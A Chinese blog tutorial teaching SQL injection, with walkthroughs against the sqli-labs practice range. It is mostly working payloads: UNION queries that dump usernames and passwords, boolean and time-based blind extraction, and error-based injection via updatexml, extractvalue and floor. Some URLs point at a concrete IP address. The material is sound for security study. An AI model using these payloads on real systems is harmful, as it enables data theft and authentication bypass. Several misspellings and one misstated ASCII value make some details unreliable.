当前位置:   article > 正文

SQL注入简介和注入方法教学

sql注入

文章目录

SQL注入原理

  • 什么是SQL注入?
    利用现有应用程序,将恶意的SQL命令注入到程序后台并在数据库引擎执行的能力。
    SQL注入漏洞是由于WEB应用程序对用户输入的数据合法性判断不严格导致。
    攻击者把SQL命令语句作为输入被服务器SQL解释器正确解析执行,数据库把查询到
    的结果返回给服务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息。

  • 一次正常的HTTP请求分析

SQL注入危害

SQL注入是危害WEB安全的主要攻击手段,存在SQL注入攻击的网站一但被攻击成功
后,产生的后果将有可能是毁灭性及不可恢复的。
比如:

  1. 获取敏感数据:获取网站管理员帐号、密码等。
  2. 绕过登录验证:使用万能密码登录网站后台等。
  3. 文件系统操作:列目录,读取、写入文件等。
  4. 注册表操作:读取、写入、删除注册表等。
  5. 执行系统命令:远程执行命令。
    ……

SQL注入判断

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试
语句被执行了,说明存在注入漏洞。

SQL注入的分类

按参数类型分类

数字型
字符型
搜索型

按数据库返回结果分类

回显注入
报错注入
盲注
基于布尔的盲注
基于时间的盲注

按注入点位置分类

GET注入
POST注入
Cookie注入
Header注入
……

按参数类型分类

参数类型主要有两种:数字型、字符型。
在SQL查询语句中,数据库查询类型有以下三种:数字型、字符型、搜索型。

数字型

SQL= “select name from users where id=1” 为典型的数字型注入

这种类型的注入参数为数字,在 users 表中查询用户输入的 id 值相对应的 name
的值。

and逻辑测试:
and 1=1 sql语句: select name from users where id=1 and 1=1
and 1=2 sql语句: select name from users where id=1 and 1=2
通过比较页面的变化判断输入是否被带入数据库执行。

这里以sqli-labs 第一关为例子,这里提示了输入数值的id作为参数:

这里执行:

?id=1
  • 1

看出界面结果能正常执行,接下来带入and测试语句,and 1=1 and 1=2 ,发现都能正常执行结果,那么可以初步判断这个数据库表为 字符型

因为在URL里面显示的 ?id=1 and 1=1 /and 1=2
在程序里面可能执行的语句是:
select * from table where id =‘1 and 1=1’
select * from table where id =‘1 and 1=2’
1=2 明显是错误的,但它还是正常获取到了数据,说明引号包裹成了字符串,基本可以判断为字符型,如果觉得还不确定可以执行以下单引号测试语句:

 ' sql语句: select name from users where id=1'

## 构造sql语法错误,来判断输入是否被执行。
执行完,然后报错了进一步判断了为字符型。
并且注入点为id
  • 1
  • 2
  • 3
  • 4
  • 5

字符型

SQL="select name from users where id=‘1’ "
字符型与数字型的不同:注入参数被引号包裹。

构造参数传递:

-- 1 and 1=1
SQL语句: select name from users where id='1 and 1=1'
-- 1' and '1'='1
SQL语句: select name from users where id='1' and '1'='1'
-- 1' and 1=1 #
SQL语句: select name from users where id='1' and 1=1 #'
1' and 1=2 #  
SQL语句: select name from users where id='1' and 1=2 #'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

判断方法:

id=1’、id=1" 构造sql语法错误,来判断输入是否被执行。

搜索型

SQL= "select * from users where name like ‘%tom%’ "
搜索型与字符型相比多了一对 % 。

1 and 1=1
SQL查询语句为:select * from users where id like '%1 and 1=1%'
 这个输入显然会报错误。

1%'1 and '%1%'' = '%1
SQL查询语句:select * from users where name like '%tom%' and 
'%1%' = '%1%'
这里我们用 '% 来闭合 %' ,如果存在漏洞,返回正常信息。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

按数据库返回结果分类

回显注入

在注入点的当前页面中获取返回结果。
常用SQL注入测试代码:

1 or 1=1
1’ or ‘1=1
1’ or '1=2

代码原理:利用逻辑运算符or 的运算原理,只要其中一个条件满足为真,则为真,
而1=1恒等式恒为真,因此如果上面三个代码输入之后页面显示结果都为正常,则我
们可以判断此页面存在SQL注入漏洞

报错注入

程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,
但是可以通过构造一些报错语句从数据库返回并显示的错误信息中获取想要的结果。
在 SQLServer 中通常错误的查询会返回一些错误信息,在 mysql 中正常情况下是没
有错误信息返回的,但可以通过其他的方式进行错误信息的提取。

盲注

由于程序后端限制数据库返回错误信息,因此查询错误或没有结果时是没有信息返回
的,可以通过数据库的查询逻辑和延时函数来对注入的结果进行判断。

根据注入表现形式的不同,盲注又分为 Based boolean 和 Based time 两种类型。
Based boolean:基于布尔的盲注,其主要表现特征有:
一是无报错信息返回;
二是无论输入是正确还是错误,都只会显示两种情况(1 或 0)(ture 或 false);
三是在输入正确时,可通过输入and 1=1、and 1=2判断。

Based time:基于Boolean的盲注可以在页面上看到正确或错误的回显,但是基于
time的盲注是看不到的。

判断:通过"时间"条件进行特定的输入,判断后台执行SQL语句的时间来判断是否存
在盲注。
比如 m’ and sleep(5) # 语句,通过页面显示的时间来判断是否存在基于时间的
盲注。

可以通过在mysql语句中使用if构造查询语句。

m' and if ((substr((select database()),1,1))='a',sleep(5),null)#

  • 1
  • 2

通过substr对查询到的database()结果截取第一位的值,判断其否等于a,如果等于
则判断为真,执行sleep(5),如果不等于则判断为假,则null, 然后通过sleep(5)执行后
的时间来确认所查询的值是否正确,遍历出所有的值。

按注入点位置分类

HTTP 定义了与服务器交互的不同方法,其中最基本的方法就是 GET 和 POST 。
GET 方式在客户端通过 URL 提交数据,数据在 URL 中可以看到;
POST 方式,数据放置在 Body 内提交,数据在 URL 中看不到。

GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。

http://test.com/news.php?id=1
  • 1

POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

Header 注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。
Cookie 注入其实应该也是算 Header 注入的一种形式。因为在 HTTP 请求的时
候, Cookie 是头部的一个字段。

SQL注入利用

GET显错注入

GET显错注入流程

01、获取字段数 order by x
02、获取显示位 union select 1,2,3,4……
03、获取数据库信息
version(),user(),@@datadir
04、获取当前数据库
database(), schema()
05、获取所有数据库
06、获取数据库表
07、获取所有字段
08、获取数据

前置知识

逻辑运算符:and、or、!=
and:并且,前后两条语句必须全为真,才为真,否则为假。
1=1 and 2=2 真
1=1 and 1=2 假
or:或者,前后两条语句一条为真,就为真。
!=:不等于。
在sql语言中,and优先级大于or
–+ 注释符
limit 0,1 从你表中的第一个数据开始,只读取一个
order by
排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行
version() 当前数据库版本
database() 当前数据库
@@datadir 数据库数据路径
@@version_compile_os 操作系统版本

注入步骤

判断:id=1’ and 1=1 --+ id=-1’ or 1=1 --+
order by语句判断字段数量:
id=1’ order by 3 --+
联合查询获取显示位:
id=-1’ union select 1,2,3 --+
获取当前数据库:
id=-1’ union select 1,(select database()),3 --+
获取所有数据库:
id=-1’ union select 1,group_concat(schema_name),3 from
information_schema.schemata --+
获取当前数据库表名:
id=-1’ union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema=‘security’ --+
获取users表所有字段:
id=-1’ union select 1,group_concat(column_name),3 from
information_schema.columns where table_name=‘users’ --+
获取security.users表所有字段
id=-1’ union select 1,group_concat(column_name),3 from
information_schema.columns where table_name=‘users’ and
table_schema=‘security’–+
获取security.users表所有字段内容:
id=-1’ union select 1,username,password from users --+

注入例子 sqli-labs 靶场 Less-1

判断是否存在sql注入漏洞

http://xxxxxxxx/Less-1/?id=1'
# 添加单引号报错  并且爆出查询语句为:select ****** from *** where id ='1''limit 0,1
  • 1
  • 2
http://xxxxxxxxxx/Less-1/?id=1"
# 添加双引号不报错,  select ****** from *** where id ='1"'limit 0,1
  • 1
  • 2

注意:单引号报错是因为闭合了前面的单引号,双引号不报错是因为双引号没办法闭合单引号

这里就可以判断存在注入漏洞,注入点为 id=1‘

判断注入类型

数字型:
1 and 1=1
1 and 1=2
字符型
1' and '1'='1
1' and 1=1--+
1' and 1=2--+
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

使用 1 and 1=1 不报错 1 and 1=2 报错 1’ and ‘1’ =‘1 不报错
1’and 1=1-- 不报错 1’ and 1=2-- 不显示,不报错

判断注入类型为字符型

获取字段数

id=1’ order by 1 --+ order by 1,2,3 到4字段的时候报错了,这里就可以判断有3列
这里拼接的语句为:select * from * where id=1’ order by 1 --+

获取显示位

union 联合注入
union 的作用是将两个sql 语句进行联合。Union 可以从
下面的例子中可以看出,强调一点:union 前后的两个sql 语句的选择列数要相同才可以。Union all 与union 的区别是增加了去重的功能。

当id 的数据在数据库中不存在时,(此时我们可以id=-1,两个sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。

http://xxxxxxxxxx:xxx/Less-1/?id=-1'union select 1,2,3 --+
  • 1

由此可得显示为为第二列和第三列

获取数据库信息

可以使用函数 version() 获取数据库版本 、user() 获取当前用户 、@@datadir 获取数据库路径

http://xxxxxx:xxxx/Less-1/?id=-1'union select 1,user(),@@datadir --+
http://xxxxx:xxxxx/Less-1/?id=-1'union select 1,2,version() --+

  • 1
  • 2
  • 3

获取当前数据库

http://xxxxx:xxxx/Less-1/?id=-1'union select 1,database(),3 --+
  • 1

获取所有数据库

http://xxxxx:xxx/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+
  • 1

concat 用法

  1. 功能:将多个字符串连接成一个字符串。
  2. 语法: concat(str1, str2,…)

concat_ws 用法

  1. 功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定
    分隔符(concat_ws就是concat with separator)
  2. 语法: concat_ws(separator, str1, str2, …)

获取数据库表

http://xxxxx:xxxx/Less-1/?id=-1' union select 1 ,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  • 1

获取表中所有字段

http://xxxxx:xxxxx/Less-1/?id=-1' union select 1 ,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()  --+
  • 1

获取数据

http://xxxxx:xxx/Less-1/?id=-1' union select 1 ,username,password from users limit 0,1 --+
## 查询第一行得数据

http://xxxx:xxxx/Less-1/?id=-1' union select 1,group_concat(username),3 from users--+
##查询username数据

http://xxxx:xxxx/Less-1/?id=-1' union select 1,group_concat(password),3 from users--+


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

GET盲注

GET盲注基本流程

01、获取当前数据库长度
02、获取当前数据库名
03、获取当前数据库表总数
04、获取当前数据库表的长度
05、获取当前数据库表名
06、获取当前数据库表的字段总数
07、获取当前数据库表的字段第N个长度
08、获取当前数据库表的字段第N个字段名
09、获取当前数据库表的字段内容长度
10、获取当前数据库表的字段内容

前置知识

mid()、substr():截取字符串
ascii()、ord():返回字段的ascll码值

select mid(database(),1,1)) 
截取结果中的值,从第一个字符开始,截取1个字符。
  • 1
  • 2

select substr(database(),1,1)
截取结果中的值,从第一个字符开始,截取1个字符。
  • 1
  • 2

select ascii(substr(database(),1,1)); 
select ascii(mid(database(),1,1));
将截取出来的字符,转换成ASCII码,以便于后面做运算,返回得值进行解码
  • 1
  • 2
  • 3

select ascii(substr(database(),1,1))>97;

结果为1或者0,也就是true or false
  • 1
  • 2
  • 3

select ord(database());
返回字符串第一个字符的 ASCII 值。
  • 1
  • 2

select ord(left(arg,length));
返回arg最左边的length个字符串
  • 1
  • 2

select ord(right(arg,length),1);
返回arg最右边的length个字符串
  • 1
  • 2

select length()
返回文本字段中值的长度,
  • 1
  • 2

select count()
返回匹配指定条件的行数。
  • 1
  • 2

注入步骤

判断字符类型

id=1' and 1=1 --+       id=1' and 1=2 --+
  • 1

获取当前数据库长度

id=1' and length(database())=8 --+
  • 1
数据库查询语句
select length(database());
  • 1

获取当前数据库版本

id=1' and left(version(),6)='5.5.53' --+
  • 1
数据库查询语句
select left(version(),6);
  • 1

获取当前数据库名

当前数据库第一个字符得ASCII码:id=1' and ORD(mid(database(),1,1))=115 --+  115=s

( ascii(substr(database(),1,1))=115   )
( left(database(),1)=‘s’   )

当前数据库第二个字符得ASCII码: id=1' and ORD(mid(database(),2,1))=101 --+   101=e

( ascii(substr(database(),2,1))=115   )
( left(database(),2)=‘se’   )

依次类推..........

得到当前数据库名:security

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
数据库查询语句
select ord(mid(database(),1,1)); 
select ord(mid(database(),2,1)); 
  • 1
  • 2

获取当前数据库表总数

id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
  • 1
数据库查询语句
select count(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();
  • 1

获取当前数据库表长度

第一个数据库长度
id=1and (select length(table_name) from information_schema.tables where table_scchema=database() limit 0,1)=6 --+
  • 1
第二个数据库长度
id=1' and (select length(table_name) from
information_schema.tables where table_scchema=database() limit 
1,1)=8 --+
  • 1
  • 2
  • 3
第三个数据库长度
id=1' and (select length(table_name) from
information_schema.tables where table_scchema=database() limit 
2,1)=8 --+

依次类推.........
  • 1
  • 2
  • 3
  • 4
  • 5
数据库查询语句
select length(table_name) from information_schema.TABLES where TABLE_SCHEMA =database() limit 0,1;

select length(table_name) from information_schema.TABLES where TABLE_SCHEMA =database() limit 1,1;

select length(table_name) from information_schema.TABLES where TABLE_SCHEMA =database() limit 2,1;

依次类推
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

获取当前数据库第一个表的第一个字符

id=1and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

第二种方法:(   id=1and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ --+   )
  • 1
  • 2
  • 3
数据库查询语句
select ascii(mid((select table_name from information_schema.TABLES where TABLE_SCHEMA=database()limit 0,1),1,1)); 

select left((select table_name from information_schema.TABLES where TABLE_SCHEMA=database()limit 0,1),1);
  • 1
  • 2
  • 3


获取当前数据库第一个表的第二个字符

id=1and ascii(mid((select table_name from 
information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+

第二种方法:( id=1and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ --+)

依次类推.......
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
数据库查询语句
select left((select table_name from information_schema.TABLES where TABLE_SCHEMA=database()limit 0,1),2);

select ascii(mid((select table_name from information_schema.TABLES where TABLE_SCHEMA=database()limit 0,1),2 ,1));

  • 1
  • 2
  • 3
  • 4

获取当前数据库第二个表的第一个字符

id=1and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
  • 1
数据库查询语句
select ascii(mid((select table_name from information_schema.TABLES where TABLE_SCHEMA=database()limit 1,1),1,1));
  • 1

获取当前数据库第二个表的第二个字符或者从左往右显示两个字符

id=1and ascii(mid((select table_name frominformation_schema.tables where table_schema=database() limit 1,1),2,1))=114 --+

id=1and left ((select table_name from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),2)='re' --+
  • 1
  • 2
  • 3
数据库查询语句
select ascii(mid((select table_name from information_schema.TABLES where TABLE_SCHEMA=database()limit 1,1),1,1));

select left ((select table_name from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1),2);

依次类推可以得到所有表名

得到所有表名:emails,referers,uagents,users

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

获取第一个表得字段总数

id=1and (select count(column_name) from information_schema.cloumns where table_name=‘emails’ )=2 --+
  • 1
数据库查询语句
select count(column_name) from information_schema.columns where table_name='emails'; 
  • 1

获取第二个表得字段总数

id=1and (select count(column_name) from information_schema.cloumns where table_name=‘referers’ )=3 --+

以此类推.......

  • 1
  • 2
  • 3
  • 4
数据库查询语句
```sql
select count(column_name) from information_schema.columns where table_name='referers';
  • 1
  • 2

获取第一个表的第一个字段名

id=1and ascii(mid(select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 --+

id=1and ascii(mid(select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))=100 --+


......依次类推,可得到所有表的所有字段
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

获取emails表字段内容长度

concat 拼接内容为一个字符串

id=1' and (select length(concat(id,"-",email_id)) from emails
limit 0,1)=18 --+

id=1' and (select length(concat(id,"-",email_id)) from emails
limit 1,1)=18 --+

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

获取emails表第一列字段内容

id=1' and ascii(mid((select concat(id,"-",email_id) from 
emails limit 0,1),1,1))=49 --+

.......依次类推
  • 1
  • 2
  • 3
  • 4

获取emails表第二列字段内容

id=1' and ascii(mid((select concat(id,"-",email_id) from
emails limit 1,1),1,1))=50 --+

......依次类推
  • 1
  • 2
  • 3
  • 4

布尔盲注例子sqli-labs 靶场 Less-8

函数介绍

length(‘name’):函数返回字符串的长度
substr(‘name’,1,1):函数截取字符串
ascii(‘a’):函数返回字符的ascii码
left(‘name’,2):函数返回name的左边二个字符
right(‘name’,2):函数返回name的右边二个字符

盲注原理

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则
执行另一种页面。基于两种页面显示内容的不同,来判断SQL语句执行正确与否,从
而达到获取数据的目的

sqli-labs less-8 手工盲注参考通关步骤

判断注入类型

http://xxxx:xxx/Less-8/?id=1'
页面不显示

http://xxxx:xxxx/Less-8/?id=1
页面显示

http://xxxx:xxx/Less-8/?id=1' and 1=2 --+
页面不显示

http://xxxx:xxxx/Less-8/?id=1' and 1=1 --+
页面显示

判断为 字符型  并存在注入漏洞
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

获取当前数据库长度

http://xxxx:xxx/Less-8/?id=1' and length(database())=1 --+
http://xxxx:xxx/Less-8/?id=1' and length(database())=2 --+
http://xxxx:xxx/Less-8/?id=1' and length(database())=3 --+
.......
http://xxxx:xxx/Less-8/?id=1' and length(database())=8 --+

判断当前数据库长度为8
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

获取当前数据库名

http://xxxx:xxxx/Less-8/?id=1' and left((database()),1) = 'a'--+
http://xxxx:xxxx/Less-8/?id=1' and left((database()),1) = 'b'--+
http://xxxx:xxxx/Less-8/?id=1' and left((database()),1) = 'c'--+
.......
http://xxxx:xxxx/Less-8/?id=1' and left((database()),1) = 's'--+

第二位:

http://xxxx:xxxx/Less-8/?id=1' and left((database()),2) = 'a'--+
http://xxxx:xxxx/Less-8/?id=1' and left((database()),2) = 'b'--+
http://xxxx:xxxx/Less-8/?id=1' and left((database()),2) = 'c'--+
.......
http://xxxx:xxxx/Less-8/?id=1' and left((database()),2) = 'e'--+

第三位....
第四位....
..
第八位....

或者截取字符串转为ASCII码判断

http://xxxx:xxx/Less-8/?id=1' and ascii(mid(database(),1,1)) > '100'--+
大于100页面显示,小于100页面不显示,从100开始依次判断

http://xxxx:xxx/Less-8/?id=1' and ascii(mid(database(),1,1)) = '101'--+
http://xxxx:xxx/Less-8/?id=1' and ascii(mid(database(),1,1)) = '102'--+
http://xxxx:xxx/Less-8/?id=1' and ascii(mid(database(),1,1)) = '103'--+
......
http://xxxx:xxx/Less-8/?id=1' and ascii(mid(database(),1,1)) = '115'--+

115='s'

第二位:
http://xxxx:xxx/Less-8/?id=1' and ascii(mid(database(),2,1)) = '101'--+

101='e'

第三位....
第四位....
..
第八位....

依次类推,得到数据库名为:security
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43

获取当前数据库表总数

http://xxxx:xxxx/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=1--+

http://xxxx:xxxx/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=2--+

http://xxxx:xxxx/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=3--+

http://xxxx:xxxx/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+4 页面有反应 ,可以判断数据库表总数为4
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

获取数据库表的长度

第一个数据库表长度:

http://xxxx:xxxx/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1--+

http://xxxx:xxxx/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2--+

http://xxxx:xxxx/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=3--+

......

http://xxxx:xxxx/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+6时页面有反应,可判断第一个数据库表长度为6

第二个数据库表长度:

http://49.234.55.19:8081/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=1--+

http://49.234.55.19:8081/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=2--+

http://49.234.55.19:8081/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=3--+

.......

http://49.234.55.19:8081/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+8时页面有反应,可判断第二个数据库表长度为8

依次类推:
第三个数据库表长度:
......
第四个数据库表长度:
......
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

获取数据库表名

第一个数据库表名:

第一位数:
http://xxxx:xxxx/Less-8/?id=1' and ascii((select table_name from information_schema.tables where table_schema=database() limit 0,1))>100--+

http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

101='e'

第二位数:
http://xxxx:xxxx/Less-8/?id=1' and ascii((select table_name from information_schema.tables where table_schema=database() limit 1,1))>100--+

http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+

109='m'

......

第二个数据库表名:
第一位数:

http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+

114='r'

第二位数:
http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101 --+

101='e'
......

依次类推得到第一个数据库表名为 emails,后面得表名获取是一样得方法,得到后三个数据库名为:referers,uagents,users
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

获取数据库表的字段总数

获取第一个表'emails'得字段总数:

http://xxxx:xxxx/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='emails' and table_schema=database())=1--+

http://xxxx:xxxx/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='emails' and table_schema=database())=2--+

判断得出'emails'得字段总数为2


获取第二个表'referers'得字段总数:

http://49.234.55.19:8081/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='referers' and table_schema=database())=3--+

判断得出'referers'得字段总数为3

......

依次类推......

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

获取数据库表字段长度

获取'emails'数据库表得字段长度:

第一个字段长度(2):
http://xxxx:xxxx/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_name='emails' and  table_schema=database() limit 0,1)=2--+

第二个字段长度(8):
http://xxxx:xxxx/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_name='emails' and  table_schema=database() limit 1,1)=8--+

获取'referers'数据库表得字段长度:

第一个字段得长度(2):
http://xxxx:xxxx/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_name='referers' and  table_schema=database() limit 0,1)=2--+

.......

依次类推......
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

获取数据库表字段名

获取'emails'数据库表:

第一个字段名(id):
http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),1,1)='i'--+

http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),1,1))=105--+

105='i'

http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),2,1)='d'--+

http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),2,1))='100'--+

101='d'

第二个字段名(email_id)

http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),1,1)='e'--+

http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),2,1)='m'--+

......

http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),6,1)='_'--+

http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),6,1))='95'--+

95='_'

......

获取'referers'数据库表:

第一个字段名:

http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='referers' and table_schema=database() limit 0,1),1,1)='i'--+


......
......

依次类推......
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42

获取数据库表的字段内容

获取'emails'表第一行数据内容(1Dumb@dhakkan.com):

获取第一个字符(1):

http://xxxx:xxxx/Less-8/?id=1' and substr((select concat(id,email_id) from emails limit 0,1),1,1)='1'--+

http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select concat(id,email_id) from emails limit 0,1),1,1))='49'--+

49='1'

获取第二个字符(D):

http://49.234.55.19:8081/Less-8/?id=1' and ascii(substr((select concat(id,email_id) from emails limit 0,1),2,1))='68'--+

http://xxxx:xxxx/Less-8/?id=1' and substr((select concat(id,email_id) from emails limit 0,1),2,1)='D'--+

68='D'

获取第三个字符(u):

http://xxxx:xxxx/Less-8/?id=1' and substr((select concat(id,email_id) from emails limit 0,1),3,1)='u'--+

http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select concat(id,email_id) from emails limit 0,1),3,1))='117'--+

117='u'

......
......
依次类推......

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

POST显错注入

POST 注入跟 GET 注入差不多,区别在于 GET 注入的注入位置在 URL 中,而 POST 注
入的注入位置在 POST 请求包中

判断


"
1’ or 1=1 #
1’ or 1=2 #
获取当前数据库长度: 1’ or length(database())=8 #
获取当前数据库版本: 1’ or left(version(),6)=‘5.5.53’ #
获取当前数据库名:
当前数据库第一个字符: 1’ or ORD(mid(database(),1,1))=115 #
s
( ascii(substr(database(),1,1))=115
( left(database(),1)=‘s’ )
当前数据库第二个字符: 1’ or ORD(mid(database(),2,1))=101 #
e
( ascii(substr(database(),2,1))=115
( left(database(),2)=‘se’
……
得到当前数据库名:security

报错注入

报错注入原理

通过函数报错获取信息:
使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息
前提:
后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面
常用的报错函数:
updatexml()、extractvalue()、floor
使用函数报错获取信息:
select、insert、update、delete

updatexml() 函数、 extractvalue() 函数

介绍:是mysql对xml文档数据进行查询和修改的XPATH函数

作用:改变(查找并替换)xml文档中符合条件的节点的值

语法:
updatexml(xml_document,xpath_string,new_value)extractvalue(xml_document,xpath_string)

xml_document:string格式,xml文档对象的名称
xpath_string:xpath格式的字符串
new_value:string格式,替换查找到的符合条件的值

Xpath定位必须有效,否则会有错误

Select获取信息

updatexml()函数:
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

0x7e:~的ascii码

select * from users where id=1 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1));

extractvalue()函数:
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()))));

floor() 函数

mysql用于取整数的函数

floor报错函数,以下三个缺一不可

rand():结果不可以作为order by、group by的条件字段
count(*):计算所有行数,不忽略空值(null)
group by:根据字段分组

例子:
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

